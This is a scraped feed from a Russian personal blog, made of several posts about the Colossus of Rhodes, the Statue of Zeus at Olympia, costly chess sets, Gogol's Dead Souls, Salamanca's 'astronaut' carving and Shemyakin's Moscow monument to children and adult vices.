Занятно, что поводом для легенды, по всей видимости, послужила судьба огромной статуи бога Солнца – Гелиоса, воздвигнутой на острове Родосе, в начале 3-го века до нашей эры. Только в легенде все переврано. Во-первых, у этой статуи были отличные ноги! Во-вторых, поставлена она была на целых 300 лет позже, чем жил Навуходоносор… Но библия сочинялась еще позже!..

Город Родос с его пятью гаванями имел идеальное расположение. Богатство и отличное географическое положение привлекали внимание завистливых соседей. В 305 году до нашей эры Деметрий I Македонский напал на Родос. Но ничего у Деметрия не получилось. После 12-ти месяцев осады он заключил перемирие и снял блокаду. Деметрий оставил после себя так много осадных орудий, в том числе одну башню высотой 36 метров, что родосцы смогли продать ее с большой прибылью. Деньги, вырученные от продажи этого оружия, что составляло около 360 миллионов долларов США в сегодняшних деньгах, были использованы для строительства статуи в честь бога-покровителя, с целью его прославления и в благодарность за помощь в отвоевании острову свободы.

Колосс Родосский был гигантской бронзовой статуей бога солнца Гелиоса высотой около 33 метров, которая стояла у гавани города Родос около 280 года до нашей эры. В то время Родос был одним из важнейших торговых портов древнего Средиземноморья, а статуя считалась одним из Семи чудес Древнего мира.

Создателем огромной статуи был скульптор Харес. Искуснейшие каменщики, кузнецы, чеканщики и другие мастера помогали ему в работе. Сооружение статуи длилось 12 лет. И за все это время никто, даже сам Харес, не видел, что у них получается. Потому что сооружали ее без всяких лесов и подъемных механизмов, постепенно засыпая землей то, что уже было сделано. Так, скрывая статую, вокруг нее непрерывно нарастал земляной холм, по отлоги склонам которого легко было подвозить камень и железные брусья для возведения столбов опоры. К этим брусьям тут же приклепывались уже готовые, заранее отформованные чеканщиками листы из кованой бронзы. И опять подсыпали землю… Только когда вся работа была закончена, а холм срыт, перед людьми предстало удивительное творение человека.

Хотя Гелиос обычно представлялся с солнечным нимбом, едущий по небу в колеснице и волочащий за собой солнце, родосцы, предпочли более статное изображение. Если верить изображениям Гелиоса на эллинистических серебряных монетах Родоса, статуя изображала бога с короной из заостренных солнечных лучей, одной рукой он прикрывает глаза от солнца. В другой, как полагали ранее, статуя держала факел, как Статуя Свободы в США.

Точное местоположение статуи неизвестно, поскольку ни один древний писатель не потрудился сообщить, но наиболее вероятным местом является восточная сторона гавани. Предполагают, даже, что гигантская фигура стояла одной ногой на одном берегу, и второй на другом берегу в военную гавань. Но размеры, необходимые для фигуры в такой позе, которая позволяла кораблям проходить под ней, делают это маловероятным и противоречащим всем древним источникам о размерах статуи. Кроме того, такая поза сделала бы статую крайне неустойчивой.

Далеко с моря был виден сверкающий на солнце Колосс Родосский. Его размеры были поистине внушительными для тех времен. Один только палец статуи был размером со взрослого человека. Ранее греки применяли термин «колосс» к скульптурам любого размера, но, благодаря гигантской фигуре Гелиоса, этот термин в последствии стал применяться только к очень большим фигурным скульптурам.

Но простоял он совсем не долго. Всего лишь через 56 лет после ее, примерно в 220 году до нашей эры, страшное землетрясение разрушило все постройки на Родосе, включая и статую Колосса. Могучие каменные столбы, служившие опорой статуе, не выдержали – ноги подломились в коленях, Колосс упал. Поднять его уже не смогли. Согласно греческому географу и писателю Страбону после того, как статуя сломалась в коленях, она лежала заброшенной и нетронутой, потому что местные жители поверили предсказанию великого дельфийского оракула о том, что ее перемещение принесет несчастье городу.

Так и пролежал Колосс более 800 лет (!), пока его не продали на металлолом арабы, захватившие город, которые оказались расторопнее греков. По словам византийского историка Феофана, около 654 г. нашей эры, еврейский торговец из города Эдесса в верхней Месопотамии купил бронзовые обломки Колосса, чтобы переплавить и повторно использовать металл. Чтобы вывести это дом, потребовалось 900 верблюдов…

 

 

 

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Геликарнасский Мавзолей

Храм Артемиды

Александрийский Маяк

Висячие сады Семирамиды Вавилона Ниневии

Зевс Олимпийский

]]> Семь чудес древнего мира: Зевс Олимпийский https://www.vladimirkoskov.ru/?p=1082 Tue, 19 Jul 2022 21:58:21 +0000 https://www.vladimirkoskov.ru/?p=1082 Чтобы воцариться на Олимпе и стать главным среди богов, Зевс должен был свергнуть своего кровожадного отца Кроноса, который в страхе, что сыновья отнимут у него власть, принялся их пожирать. Жена Крона, Рея, подсунула мужу вместо Зевса крупный камень, который тот и проглотил. Когда Зевс вырос и возмужал, он начал войну с отцом. Битва между ними происходила якобы в долине реки Алфея, на северо-западе Пелопонесского полуострова. Как известно, Зевс победил. Позднее, в честь его победы, на том месте, где они сражались, был построен великолепный храм, а вокруг храма раскинулся городок – Олимпия. Городок был маленький, но слава его не умерла в веках. Начиная с 776 года до нашей эры нам проводились знаменитые, посвящённые Зевсу, Олимпийские игры. По легенде, первым участником был сам Геракл…

Олимпийские Игры проводились летом, один раз каждые 4 года. Ничто не могло этому помешать. Даже если была война, греческие государства, которые в ней участвовали, заключали перемирие на все время Олимпийских Игр. Из всех частей страны, с островов и из отдаленных городов-колоний собирались в Олимпию атлеты, чтобы принять участи в спортивных соревнованиях. Сорок тысяч болельщиков, прибывших со всех концов Греции, заполняли трибуны огромного стадиона. И не было бóльшего греха и позора, чем сжульничать или проявить вероломство, добиваясь победы. Такой человек обесчестил бы город, который его послал.

День за днем упорно соревновались атлеты. Бег сменялся борьбой, кулачный бой – пятиборьем. Завершались соревнования массовой гонкой четырехколесных колесниц… А потом наступал день присуждения наград. Победителей увенчивали оливковыми венками, облачали в пурпурные плащи чемпионов. Их мраморные статуи устанавливались под колоннами специально построенного для этого Храм Зевса Олимпийского.

Этот храм был самым большим в Греции в то время. Он стоял на трехступенчатой террасе размерами 107,7 метра на 41,1 метра. Высотой храм был более 20 метров. Его вытянутое прямоугольное здание когда-то окружали два ряда поставленных близко друг к другу колонн. Всего их было 104. На торцевых сторонах к основным колоннам прибавлялись еще колонны портиков. Это был настоящий мраморный «лес колонн», подавлявший зрителя своими размерами. На фронтонах храма были выставлены великолепные скульптуры. Западная часть была посвящена битве лапифов с кентаврами, восточная сторона повествовала о подготовке к состязаниям на колесницах Пелопса, от которого и пошло название полуострова Пелопоннес.

Несмотря на то что впоследствии храм Зевса был полностью разрушен, осталось описание древнегреческого историка Павсания, а в 1875 году было найдено достаточно большое количество фрагментов храма. Работы археологов и учёных-историков по их изучению, позволили реконструировать внешний вид строения с большой степенью точности.

В Археологическом музее на территории парка сегодня можно увидеть основные сохранившиеся ценности и скульптурные произведения храма. Всего до наших дней дошло 21 более-менее хорошо сохранившиеся частей, в том числе 3 метровые фигуры с фронтонов храма, части святилищ других божеств.

 

 

 

 

 

Однако, в первую очередь, Храм Зевса был известен не своим архитектурным обликом, а ее «властителем» – статуей Зевса — бога-Громовержца.

Слово «храм» обозначает «жилище». Таким образом, статуя божества внутри была гораздо важнее, чем сам храм. Обычно фигуру помещали в центре здания, чтобы, когда двери были открыты, она могла наблюдать за жертвоприношениями и церемониями, совершаемыми прямо снаружи в честь этого бога.

Открытие статуи Зевса произошло в 435 голу до нашей эры. Занавес, прикрывавший статую от любопытных взоров, вопреки традициям не поднимали и не раздвигали, а опустили на веревках вниз, открывая постепенно величественный образ громовержца — гигантскую статую Зевса, восседавшего на троне. «Афинянин Фидий, сын Хармида, создал меня» — было высечено на ее подножии.

Эта статуя не имела себе равных: высота скульптуры была с 4-х этажное здание и превосходила 15 метров. Она была установлена на возвышении высотой, примерно, в 1 метр и шириной почти 7 метров. Фидий сумел в точности рассчитать размеры скульптуры – так, чтобы она в высоту практически касалась потолка, но при этом не задевала его. Удивительно, но статуя Зевса казалась даже больше, чем была на самом деле! Основа фигуры была вырезана из дерева, но от глаз посетителей это было скрыто листами слоновой кости и золота. Лицо, руки и стопы были сделаны из полированной слоновой кости. Драгоценные камни служили глазами. А плащ – из чеканного золота. На плаще Зевса были изображения животных и цветов, а его ноги опирались на скамью, которую поддерживают два льва. На правой ладони Зевса стоит богиня победы Ника, в левой руке громовержца — скипетр, увенчанный орлом. Голову отца богов украшал венок из веток оливы, символизирующих олимпийские победы. Считается, что на создание этого великого творения потребовалось 200 кг золота. По данным реконструкции подлокотники трона и правая ладонь Зевса находилась на уровне капителей первого яруса колонн. Голова находилась под самым потолком храма. Если бы Зевсу пришлось встать в полный рост, то он головой пробил бы потолок храма.

Отдельное внимание скульптор уделил украшению трона, выполненного из черного дерева, слоновой кости и украшенного золотом и драгоценными камнями. Перекладины между ножками были украшены росписями с изображением почитаемых греками богов и героев античного мира, различных спортивных состязаний, сцен героических битв греков с амазонками. Каждую ножку трона украшали четыре Ники. В греческой мифологии Ника была верной союзницей Зевса. Она символизирует победу, успешный результат и соответствует римской Виктории. Все эти чудесные росписи были сделаны братом Фидия, талантливым художником Паненом.

За пластинами из слоновой кости требовался особый уход: для защиты от влажного воздуха, жрецы храма смазывали её оливковым маслом. Никаких окон в храме не было – свет проникал только через двери. И вот, чтобы высветить в темноте лицо Громовержца, Фидий придумал научный трюк. В центре черного мраморного пола храма он сделал бассейн, куда со статуи стекало оливковое масло, которым ее натирали. Бассейн, до краёв залитый маслом, стал, как лежащее на полу большое зеркало. И сноп света, падающий через открытую дверь снаружи, отражаясь от этой поверхности, направлялся вверх – к лицу божества, словно луч прожектора…

Уникальная отделка скульптуры и выше описанная хитрость позволяли отражаться лучам солнца так, что казалось, будто свет исходит из самой статуи Зевса. На открытии Фидий стоял в глубине храма, наслаждаясь потрясением зрителей. Считалось, что каждый обязан один раз в жизни увидеть эту скульптуру, чтобы не считать свою жизнь прожитой зря. Фидий был очень горд своим творением, и часто наблюдал, спрятавшись в глубине храма, за реакцией посетителей. Статуе часто подносили дары, которые навешивались прямо на трон или на фигуру Громовержца.

Фидий был знаменит не только статуей Зевса Олимпийского, но и статуей Афины в Парфеноне и рельефами на его стенах. Вместе со своим помощником Периклом Фидий разработал план перестройки и украшения Афин, что, правда, дорого обошлось Фидию: враги его могущественного друга и покровителя стали врагами скульптора. Месть их была банальной и грязной, но обыватели жаждали скандала: Фидий был обвинён в том, что утаивал золото и слоновую кость при сооружении статуи Афины в Парфеноне. Но слава и доброе имя скульптора оказалась сильнее злопыхателей. Жители Элиды внесли залог за заключённого, и афиняне сочли этот предлог достаточным, чтобы отпустить Фидия работать в Олимпию. Несколько лет Фидий оставался в Олимпии, сооружая статую Зевса Олимпийского. Будучи по истине выдающимся архитектором и мастером свое дела, он подарил миру настоящий шедевр, который стал одним из Семи чудес Древнего света. Однако плачевной оказалась дальнейшая судьба мастера. Согласно ряду сведений, Фидий так и не вернулся в Афины. Местная знать, видя каким популярным и почитаемым за свои труды среди народа стал архитектор, решила избавиться от него.  Он был обвинен в растрате золота, предназначавшего для статуи Зевса. Однако мастер быстро доказал свою невиновность, сняв все золотые элементы со скульптуры и взвесив их. Вскоре его вновь обвинили, на сей раз в непочтительности к богам, в том числе и к верховному олимпийскому богу Зевсу, и бросили в темницу. Существует и версия того, что Фидий, спустя 6-7 лет после возведения статуи, был забыт обществом, влачил нищенское существование и умер вдали от родных Афин.

Но откуда мы все это знаем? Для того чтобы убедиться, что и храм, и статуя существовали и были именно таким, как описывали современники, следовало отыскать хотя бы косвенные свидетельства её создания. И они есть.

На том месте, где некогда стоял храм Зевса в Олимпии первые археологические раскопки были проведены в 1829 году. Группа французских ученых обнаружила очертания храма, фрагменты скульптур и барельефов, которые изображали подвиги Геракла. Сейчас эти экспонаты хранятся в Парижском Лувре.

 

 

 

 

В 1875 году в Олимпии работали немецкие археологи, которые нашли множество фрагментов скульптур, а также фундамент самого Храма, в том числе и знаменитый бассейн, который был заполнен оливковым маслом. В 1950 была найдена мастерская Фидия, построенная по образу самого храма, где великий мастер и создавал свой шедевр. Внимание немецких археологов, проводивших раскопки в Олимпии, привлекли остатки античного здания, перестроенного в византийскую христианскую церковь. Обследовав здание, они убедились в том, что именно здесь располагалась мастерская — каменное сооружение, немногим уступавшее по размерам самому храму. В нём, в частности, нашли орудия труда скульпторов и ювелиров и остатки литейного «цеха». Но самые интересные находки сделаны по соседству с мастерской — в яме, куда в течение многих сотен лет мастера сбрасывали отходы и отбракованные детали статуй. Там удалось отыскать отлитые формы тоги Зевса, множество пластин слоновой кости, сколы полудрагоценных камней, бронзовые и железные гвозди — в общем, полное и бесспорное подтверждение тому, что именно в этой мастерской Фидий изготовил статую Зевса, причём именно такую, как рассказывали древние. И в довершение всех доказательств в груде отбросов археологи нашли и донышко кувшина, на котором были выцарапаны слова: «Принадлежу Фидию».

Великая статуя Зевса попала в установленный список Семи чудес со 2-го века до нашей эры, но к тому времени она уже была широко известна, имитировалась в скульптуре и изображалась на вазах, резных драгоценных камнях и на монетах 4-го века до нашей эры, в частности, на обратной стороне серебряных тетрадрахм. Римский император Адриан все еще использовал то же изображение на своих монетах во 2 веке нашей эры.

В целом статуя Зевса в Олимпии радовала глаз прихожан храма почти 800 лет. В разные времена скульптура божества подвергалась реставрациям. О том, имелись ли покушения на статую удивительной красоты, можно сказать следующее. Зная о существовании шедевральной скульптуры, император Калигула отдал своим подчиненным приказ привезти из Греции статую Зевса и изображения других богов, которые имели художественную ценность. В его планы входило отнять у божеств головы, а на их место приставить свою собственную. Завоеватель Греции по имени Павел Эмилий тоже собирался увезти статую Зевса с собой в Рим. Однако ни у Калигулы, ни у Павла ничего не вышло – гигантская скульптура осталась на своем месте. Если верить легенде, статуя просто расхохоталась при попытке ее хищения, и испуганные рабочие, присланные повелителями, в ужасе разбежались.

Но когда у власти со временем оказался Феодосий I – римский император, принявший христианскую веру, спортивные состязания в Олимпии были запрещены как языческое мероприятие. Этим и объясняется закрытие храма Зевса в середине III века. Через тысячу лет после того, как статуя была создана, один Византийский император вывез её из Олимпии в Константинополь. Там она сгорела вместе с его дворцом, в 5 веке уже нашей эры. Ничего не осталось. Только среди золы и пепла пожарища долго еще находили застывшие слитки золота. Но грош им цена была, этим слиткам, по сравнению с безвозвратно погибшим творением Фидия, одного из самых гениальных скульпторов древности.

Трехметровый, 16-ти тонный, мраморный Зевс Олимпийский был найден во время археологических раскопок в Риме и продан в конце XIX в. разорившимся итальянским коллекционером русскому музею. статуя Зевса в Олимпии – уменьшенная мраморная копия работы неизвестного автора I веке нашей эры, и по сей день находится в Государственном Эрмитаже. Многие ученые предполагают, что копия утерянного чуда света очень точно воспроизводит оригинал. Антиквар Томас Дженкинс обнаружил её во время раскопок. Это были части статуи, в частности торс. Затем её подвергали реставрации: воссоздали голову, поместили возле ног орла. В конце концов скульптура оказалась в коллекции маркиза Джана Пьетро Кампана. Однако маркиза в конце концов ждало разорение. Его коллекция была продана в различные музеи мира. С. А. Гедеонов, русский историк, первый директор Императорского Эрмитажа сделал все, чтобы Александр II приобрёл множество экспонатов для Эрмитажа. Скульптура Зевса оказалась среди них. Но сначала статую снова реставрировали. В частности, доработали руки и посох. Только после этого огромную статую Зевса отправили в Санкт-Петербург. Из-за больших размеров её пришлось разделить. В результате статую упаковали в три ящика, после чего перевезли в Кронштадт и потом по воде отправили уже в Петербург в Эрмитаж. Для выгрузки и дальнейшей сборки понадобилось несколько десятков человек, а весь процесс занял почти неделю. Статую решили поставить в здании Нового Эрмитажа. Сначала это хотели сделать со стороны набережной, но не получилось из-за размеров. Тогда пришлось занести статую через дворцовый двор, но сначала её всё равно разобрали. Более того, пол Эрмитажа в принципе не был рассчитан на подобный вес, и под него пришлось установить дополнительный столб. Большие размеры скульптуры определили также то, что с тех пор, как её доставили в музей в 1861 г., она больше не перевозилась никуда из Эрмитажа. Когда во время Второй мировой войны остальную коллекцию эвакуировали, Зевс по-прежнему оставался в своём зале. Изначально эта статуя была выполнена из мрамора и бронзы. Мраморным было тело самого бога, а бронзовой, к примеру, его накидка. Немраморные части в итоге оказались утрачены. Позже их заменили при реставрации деталями из бронзированного гипса. В частности, это жезл в руке бога, орёл, фигурка богини Ники (Виктории), а также ткань, накинутая на плечо, бёдра и ноги бога. Статуэтка Ники появилась лишь в XIX в., когда Зевс уже выставлялся в Эрмитаже.

Остальные шесть Чудес древнего мира:

Египетские пирамиды

Геликарнасский Мавзолей

Храм Артемиды

Александрийский Маяк

Висячие сады Семирамиды Вавилона Ниневии

Колосс Родосский

]]> Как выглядят 10 самых дорогих в мире современных наборов шахмат, за которые коллекционеры выкладывают миллионы https://www.vladimirkoskov.ru/?p=1820 Mon, 18 Jul 2022 08:57:13 +0000 https://www.vladimirkoskov.ru/?p=1820

В наше время солидных коллекционеров и производителей уникальных шахмат объединяет организация Chess-Collectors International, в которой состоит всего 500 членов.

Журнал Forbes несколько лет назад выбрал десятку самых дорогих и эксклюзивных шахматных наборов, которые можно найти в мире, в частности и в России.

10 место — €28,744 — Венецианский шахматный набор — Medieval Venice Chess Set

Венецианский шахматный набор Medieval Venice Chess Set. (Средневековый венецианский период). (Шахматная доска: 67 x 67 x 9,5 см. Высота фигур около 18 см.)

Шахматы на историческую тематику представляют собой не только всю суть средневековой Венеции, но и невероятное мастерство ручной работы. Фигурам, изготовленным из бронзы в древней технике литья по выплавляемым моделям и инструктируемым 24-каратным золотом и серебром, гармонично соответствует шахматная доска из оникса и тосканского мрамора с рамой из цельной бронзы, отделанной стерлинговым серебром и рамкой из чистого золота. На каждой из фигур шахматного набора стоит номер и подпись скульптора.

9 место — €39,523 — Шахматный набор «Рено» Формула-1. Renault F1 Team Collection Chess Set

Шахматный набор «Формула 1» Renault F1 Team Collection Chess Set.

Этот набор шахмат разработан специально для фанатов команды Renault F1 дизайнерами Renault. Сделан он из частей болида «Формулы 1» и сопоставим по цене с новым автомобилем «Рено» Formula 1. Для изготовления фигур использованы: титан, авиационный алюминий, стерлинговое серебро и углеводородное волокно. Доска изготовлена из карбона и кожи. Необычный дизайн шахматных фигур также соответствует автосборочному производству. Совершенно не похожие на классические шахматы, они выглядят скорее, как дизайнерский вариант деталей автомобиля Renault. Здесь использованы элементы втулок, подвесок, стоек, крыльев и даже сидений. Сама же игровое поле создает иллюзию гоночной трассы, для него дизайнеры выбрали углеродное волокно. В целом, как видите, минималистские линии комплекта Renault Formula 1 символизируют простоту и строгость модерна.

8 место — €73,401 — Шахматный комплект «Серебряный юбилейный».  Silver Jubilee Chess Set

Шахматный комплект Silver Jubilee Chess Set

Несколько лет тому назад всемирно известный британский производитель изысканных игр и предметов роскоши Джеффри Паркер представил дизайн версии одного из самых дорогих шахматных наборов в мире в упрощенном варианте. Первый же самый ценный экземпляр был создан Паркером в 1977-м и приурочен к 25-летию восшествия на трон королевы Елизаветы II. Оригинальный комплект шахмат из золота, серебра и замши её Величества — бесценен. Однако более дешёвые версии этого набора стали доступны сегодня, не только для королевской семьи. Производитель называет его идеальным подарком для самых взыскательных шахматистов и коллекционеров.

7 место — €90,434 — Шахматный комплект Каролинги & Мавры, Carolingians and Moors Chess Set

Шахматный комплект Carolingians and Moors Chess Set.

Потрясающие и величественные шахматные фигуры в стиле VIII века, изготовленные вручную из бронзы путем отлива, отделаны чистым 24-каратным золотом и серебром. Игровое поле с персонажами напоминает об историческом противостоянии христиан Западной Европы и Арабского халифата. Каждая из этих фигур подписана мастером. Данные шахматы могут являться фамильной реликвией, поэтому очень востребованы среди коллекционеров.

6 место — €268,718 — Шахматный комплект «Алиса в Зазеркалье» Alisa vs Red Queen

Шахматный комплект «Алиса в Зазеркалье» с пневмоприводом.(Высота фигур от 10 до 15 см.)

Автор проекта этих уникальных фантазийных шахмат — Иосиф Эпштейн и группа мастеров из России, которые воплотили героев литературного произведения Льюиса Кэрролла «Алиса в Зазеркалье». Шахматные фигуры сделаны максимально выразительными. И, что любопытно — повторяющихся персонажей здесь нет, даже пешки выполнены в виде отдельных героев книги. Материалы — бивень мамонта, золото, черное дерево. Отдельно стоит обратить внимание на инкрустированную столешницу резного деревянного шахматного стола. Её поддерживает фантазийное существо. И ещё, нажав на специальный рычаг в виде шеи и головы фламинго, перед игроками тут разыгрывается 40-секундное представление: дверки столешницы распахиваются и на поверхность медленно и торжественно «выходит» зеркальная доска с расставленными на ней фигурами.

После окончания игры — всё происходит в обратном порядке: нажав на рычаг, доска с фигурами «уезжает» внутрь стола, дверки плавно закрываются. Эксклюзивный комплект ручной работы — один из немногих в мире шахмат, имеющих пневматический механизм привода доски и игрального поля.

5 место — €348,580 — Шахматный комплект «Боспорское царство»

Шахматный комплект «Боспорское царство».

Великолепный шахматный комплект весом в 40 килограмм — работа украинского ювелирного дома «Лобортас». Все шахматные фигуры выполнены из серебра 875-й пробы. Тщательная проработка деталей позволяет узнать в главных героях конкретных исторических личностей: гетмана Петра Конашевича-Сагайдачного и турецкого пашу Османа II, а также их приближенных. Здесь в каждой фигуре наблюдается не только исторический но и батальный размах фантазии мастеров.

Шахматная доска выполнена из светло- и темно-зеленого нефрита, окаймленного флорентийскими мозаиками. Поэтому специалисты сравнивают эту технику с работой флорентийских мастеров. Уникальным считается и сложный телескопический механизм, с помощью которого владелец может поднять эти шахматы на доску и опустить их в ниши стола. Их создатели были удостоены ордена Фаберже, которым награждают самых известных ювелиров, художников и дизайнеров.

4 место — €470,521 — Королевский бриллиантовый комплект шахмат Royal Diamond Chess Set

Королевский бриллиантовый комплект шахмат.

Компания Charles Hollander специализируется на необычных бриллиантовых шахматных комплектах, самый известный из которых «Королевский бриллиант», произведённый в 2004 году. Дизайн этого шахматного набора разработал французский ювелир и художник Бернар Макин. По признанию дизайнера, над ним трудилось почти тридцать мастеров, потративших 4500 часов рабочего времени. Сами шахматные фигуры изготовлены из 14-каратного белого золота, инкрустированного чёрными и белыми бриллиантами, общим весом 189.09 каратов.

3 место — €658 730 — Шахматы Дж. Грала.  Grahl Chess Set

Комплект шахмат J. Grahl Chess Set .

Данный шахматный набор был разработан в 1972 году Джимом Грэлом для семьи Коул и являлся одним из самых тяжелых шахматных наборов в мире. Это произведение искусства создано, в духе средневековой Европы 14 века. Фигурки для набора изготовлены из 14-каратного золота и серебра. За полвека было изготовлено немногим более десятка копий с оригинала. Последняя из них была продана ещё в 2008 году. Персонажи шахматного набора представляют собой вооружённых рыцарей в доспехах, лучников, епископов, королей и королев, украшенных замысловатой ручной резьбой. Доска также ручной работы выполнена из вишневого и черного дерева и инкрустирована стерлинговым серебром.

2 место — €705 782 — Шахматный набор «Искусство войны», Art of War Chess Set

Шахматы «Искусство войны».

Этот уникальный шахматный набор на азиатскую тематику, разработал дизайнер Виктор Шарштейн (Victor Scharstein). Комплект шахмат — настоящий шедевр в восточном стиле. Доска выполнена из чёрного дерева с золотыми и родиевыми шахматными клетками, на которых эффектно смотрятся золотые фигурки персонажей, украшенные драгоценными камнями: сапфирами, рубинами и изумрудами. Весь шикарный комплект сворачивается в изысканный деревянный сундучок с замком, золотая ручка которого украшена двадцатью драгоценными камнями.

1 место — €1 200 000 — Набор шахмат «Jewel Royale» Jewel Royale Chess Set

И, наконец, самыми дорогими в рейтинге признаны шахматы Jewel Royale Set, разработанные известной британской компанией Boodles — одной из старейших в Англии, которая не один век является официальным ювелирным домом многих королевских фамилий, в том числе рода Виндзоров.

Набор шахмат «Jewel Royale».

Стоит отметить, что каждая фигурка, в основе которой лежит изящнейшая спираль, декорированная лентой дорогостоящих камней: бриллиантами, рубинами, сапфирами, черным и белым жемчугом — это настоящее произведение искусства в ювелирном мире. Этот уникальный набор практически целиком имитирует классические шахматные фигуры (кроме коней). Выполненная вручную, коллекция шахматных стилизованных фигурок выглядит невероятно роскошно и изысканно. Они сделаны из золота и платины, украшены 748-ю бриллиантами, 146 сапфирами, 73 рубинами и огромным количеством изумрудов и жемчуга. Игровая поверхность набора выполнена из желтого и белого золота.

Что любопытно, по предварительной оценке, стартовая цена за этот комплект должна была составить более 9 миллионов евро, но перед аукционом среди коллекционеров случился настоящий бунт из-за слишком высокой стоимости, ведь такую высокую цену вряд ли смог бы себе позволить даже самый состоятельный коллекционер. В итоге остановились на 1 200 000 евро. Эта цена оказалась вполне приемлемой и для производителя, и для покупателя…

]]> Мертвые души https://www.vladimirkoskov.ru/?p=4023 Thu, 31 Mar 2022 22:36:25 +0000 https://www.vladimirkoskov.ru/?p=4023 Если в стихах безусловным фаворитом Володи был Александр Сергеевич Пушкин, за его умение писать одновременно легко и информативно, то в прозе он отдавал несомненное лидерство Николаю Васильевичу Гоголю, а особенно его поэме «Мертвые души». Он знал многие необычайные детали жизни Гоголя. Считал правильными его осуждения в адрес Пушкина, что тот много времени тратил понапрасну в кутежах и отдыхе, в то время, как надобно много работать и максимально использовать свой талант во блага народа. С точки зрения Володи, Пушкин правильно сделал, что подарил сюжет Мертвых душ Гоголю, сам бы он настолько хорошо с прозой не справился.

Непонятно, когда он на все находил время, но Володя  знал не только детальный сюжет второго, утраченного тома Мертвых душ, но даже разыскал дневники с заметками для третьего тома. Называл Гоголя величайшим писателем, который непонят и недооценен. Не понимал, как страна, имевшая такого писателя, который еще в начале 19 века высмеял все пороки и недостатки общества, так до сих пор ничего и не сделала, чтобы излечиться от них. Говорил — смени декорации на современные и обнаружишь, что, по-прежнему, все до последнего слова правда: Души — Мертвые . Ему не нравилось, что практически все вокруг считали это произведение муторным и занудным. В подтверждение тому, что никто на самом деле просто не читал это произведение (хотя все говорят, что знают его, потому что проходили его в школе), Володя задавала простой вопрос: В чем заключалась махинация Чичикова с мертвыми душами? Зачем он их покупал?

Каждый год мы приходили на Никитский бульвар, где во дворе Дома Гоголя находится памятник Николаю Васильевичу, созданный на деньги людей. Очень интересный и душевный монумент, который интересно по долгу разглядывать, и который так разительно отличается от того, что был поставлен поставлен во времена СССР неподалеку, на Арбатской площади,

Здесь любимый Володин моноспектакль «Мертвые души» в исполнении восхитительного и неподражаемого Александра Филиппинко. Мы засмотрели его до дыр и разобрали на цитаты.

]]> Один из самых любимых Володиных фильмов https://www.vladimirkoskov.ru/?p=4100 Tue, 22 Feb 2022 21:03:33 +0000 https://www.vladimirkoskov.ru/?p=4100 Some Like It Hot — Некоторые любят погорячее

]]> Таинственный средневековый космонавт https://www.vladimirkoskov.ru/?p=2295 Thu, 23 Dec 2021 12:16:17 +0000 https://www.vladimirkoskov.ru/?p=2295 Древний город Саламанка находится на западе Испании. Самая интересная местная достопримечательность — расположенный в центре Саламанки Новый кафедральный собор Вознесения Богородинцы. Строительство собора началось в 1513-м году и продолжалось на протяжении целых двухсот лет. Веяния моды на протяжение двух столетий претерпевали значительные изменения и в результате архитектура собора впитала в себя стили не только поздней готики, но и барокко. Несмотря на некоторые недоработки, открытие храма состоялось в 1733-м году. А уже в 1755 году собору потребовалась серьезная реставрация: в результате сильнейшего Лиссабонского землетрясения 93-метровая колокольня накренилась, обрушился главный купол, а стены покрылись огромными трещинами.

Внешний вид собора, безусловно, вызывает восхищение у туристов, однако, особую популярностью он приобрел благодаря загадочной фигуре астронавта, изображенной над входом в собор.

Как утверждает викарий собора, таинственная скульптура — типичный для средневековья монстр и любое сходство с реальными персонажами является вымыслом. У экскурсоводов, как водится, есть много интересных баек по поводу того, как на фасаде средневекового собора появился астронавт в скафандре. Но правда заключается в том, что во время проводимых в 1990-м году реставрационных работ фигура космонавта была добавлена скульптором Мигелем Ромеро. Дело в том, что в Европе довольно распространенной практикой является добрая шутка от реставраторов – добавить что-то от собственной эпохи. Более того, на стене этого же собора есть изображения дракона с тремя шариками мороженого в вафельном стаканчике, которая осталась с предыдущей реставрации.

 

]]> Памятник «Дети – жертвы пороков взрослых» https://www.vladimirkoskov.ru/?p=1711 Sun, 28 Nov 2021 14:47:12 +0000 https://www.vladimirkoskov.ru/?p=1711 Большой, интересный и не очень известный памятник находится в самом центре Москвы, в сквере на Болотной площади.  Он называется «Дети – жертвы пороков взрослых». Хотя памятником, в классическом понимании этого слова, наверное, его назвать нельзя. Эта целая скульптурная композиция, целая история, которую не расскажешь в двух словах.

Он появился в столице 2 сентября 2001 года в День города. Его автор – Михаил Михайлович  Шемякин. По словам художника, когда он только задумал композицию, он хотел одного – чтобы люди задумались о спасении сегодняшнего и будущего поколений. Многие, кстати в то время были против его установки недалеко от Кремля. Даже собирали специальную комиссию в столичной Думе, и та также высказалась против.  Но тогдашний мэр Юрий Лужков всё взвесил и дал добро.

Памятник действительно выглядит неоднозначно и непривычно. Он входит в топ-10 самых скандальных памятников Москвы.

Композиция состоит из 15 фигур, две из которых маленькие дети – мальчик и девочка лет 10. Они расположены в самом центре. Как и все в этом возрасте, они играют в мячик, у них под ногами лежат книги сказок. Но у детей завязаны глаза, они не видят, что вокруг стоят 13 страшных высоченных фигур, тянущих к ним руки-щупальца. Каждое изваяние олицетворяет какой-то порок, который может развратить детские души и навсегда ими завладеть.

Стоит подробно описать каждую (слева направо):

  • Наркомания. Худощавый мужчина в длинном фраке, бабочке и с крыльями, чем-то напоминает графа Дракулу. В одной руке шприц, а в другой – пакетик с героином. На его одежде можно разглядеть маленькие изображения черепа с костями.

  • Проституция. Этот порок представлен в образе мерзкой женщина с головой жабы с выпученными глазами, нарочито вытянутым ртом и пышным бюстом. Всё её тело покрыто бородавками. В ее одеянии многократно воспроизводится образ змей, которые вьются и у нее на поясе.

  • Воровство. Хитрая крадущаяся фигура с кабаньей головой, которая повернулась спиной, пряча за спиной мешок с деньгами.

  • Алкоголизм. Жирный слащавый полуголый человек, похожий на античного бога виноделия Диониса, восседающий на бочке с вином. В одной руке у него кувшин с чем-то «горячим», в другой пивной кубок.

  • Невежество. Беспечный, веселый и беззаботный человек с ослиной головой словно пританцовывает и размахивает большой шутовской погремушкой. Живая иллюстрация поговорки «меньше знаешь, лучше спишь».

  • Лженаучность. Женщина в монашеской рясе с закрытыми глазами. В одной руке у неё свиток с псевдознаниями. Возле её ног — странный прибор, отсылающий к алхимикам. В другой руке результат неправильного применения науки –двуглавая собака-марионетка.

  • Равнодушие. «Не так страшны убийцы и предатели, они могут только убить и предать. Страшнее всего – равнодушные. С их молчаливого согласия происходит всё самое худшее». Видимо, автор полностью согласен с этим изречением. Он поместил «Равнодушие» в самый центр пороков. Фигура имеет четыре руки – две скрещены на груди, а другие две затыкают уши.
К сожалению, Вандалы отломали фонарь

 

